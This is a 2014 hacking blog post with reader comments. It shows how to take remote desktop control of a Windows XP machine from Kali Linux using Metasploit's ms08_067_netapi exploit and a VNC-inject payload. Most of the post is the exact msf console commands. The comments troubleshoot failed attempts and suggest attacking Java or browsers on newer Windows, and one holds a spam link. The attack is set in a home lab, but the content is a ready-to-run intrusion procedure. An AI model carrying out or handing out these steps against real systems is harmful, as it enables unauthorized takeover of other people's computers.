Saturday, April 12, 2014

Hacking Windows : Totally own it - Hollywood Style

Now while the real life hacking and the one in the movies might seem far from congruent, there is some similarity at least, and in this post, we'll get no shells, no meterpreter, no bullshit. We'll simply get the Windows XP desktop inside our Kali machine like we actually are on it. What we're actually getting is going to be something like this-

If you have any difficulty understanding whats going on, then that's because you skipped over 5 articles on penetration testing. You are recommended to go over last 3 atleast.

Starting metasploit

You must be having Kali Linux installed, follow the link if you haven't already got Kali Linux.

After that, execute the following commands on terminal to get Metasploit running
service postgresql start
service metasploit start
After this, you metasploit framework will start.

Information Gathering

  • Find IP of XP machine by running ipconfig on XP command prompt.
  • Find IP of Kali machine by running ifconfig on Kali terminal.

Hacking XP 

Now execute the following code (without the msf> it is there by already) -
msf > use exploit/windows/smb/ms08_067_netapi
It selects the netapi ms08 exploit which is well known for Windows XP. Now execute the following (everything before > will already be there)
msf  exploit(ms08_067_netapi) > set PAYLOAD windows/vncinject/bind_tcp 
 Now execute a show options to get an idea what all values need to be filled.
msf  exploit(ms08_067_netapi) >show options
You will need the information gathered from Information Gathering step. Remember - XP -> Remote host (RHOST). This is all we need. Just enter the XP IP instead of
msf  exploit(ms08_067_netapi) > set RHOST
That would be all. Now type exploit and press enter.
msf  exploit(ms08_067_netapi) > exploit
If everything goes right, then you'll have a pretty much movie kind of remote connection working for you, and you'll be able to work stuff like you'd normally do if you had access to the machine.


  1. Replies
    1. No known vulnerabilities in Windows 7. You'll have to attack the installed programs (Java/browsers/etc.)

  2. Take a look at the java exploitation in windows 8 tutorial. It's there on the homepage of the blog, I wrote it recently.

  3. hey mate it says attempting to trigger vulnerability
    and then it just stops at msf exploit(ms08_067_netapi and then i can only type

  4. Ty very much mate i'll give it a shot today i tried to hack into my lap top wich is XP, but it didn't work.I guess i will just install VMware player and VMware tools then it will work :D.
    P.S:This blog is awesome, you are an awesome teacher thanks :D

    1. Remember to install a very old version of xp as the chances of being vulnerable to attacks is more in old versions.

  5. Yeah but then for vulnerability, in newer versions i need to target something like java or that?right?

  6. so so close this time but it says that the host is unreachable

    1. Some problems with networking. If pinging the host fails then it means your virtual LAN is not configured properly. Try using NAT (it does the hard job for us and auto-configures everything)

  7. Yeah i am using windows 7 NAT wont work for soem reason on vmware neither would bridged

    1. Maybe your Windows XP firewall has a problem with the connection. Try disabling the firewall and try pinging again.

    2. Soon you will have to have a whole computer dedicated for kali linux. I am serious.

  8. Its just working on Windows XP WITHOUT Service Pack. Patched versions are NOT vulnerable for script kiddies like you

  9. This is the message I got after trying it - Exploit failed - unreachable : Rex: connection timeout.

  10. Can you present me any good books for beginner? :D

  11. for me there is no attack menu when i right click a host :/

    1. oh sorry wrong tutorial :'D will post it again in the right one ^^

  12. This blog is truly awesome in all aspects. 123 movies


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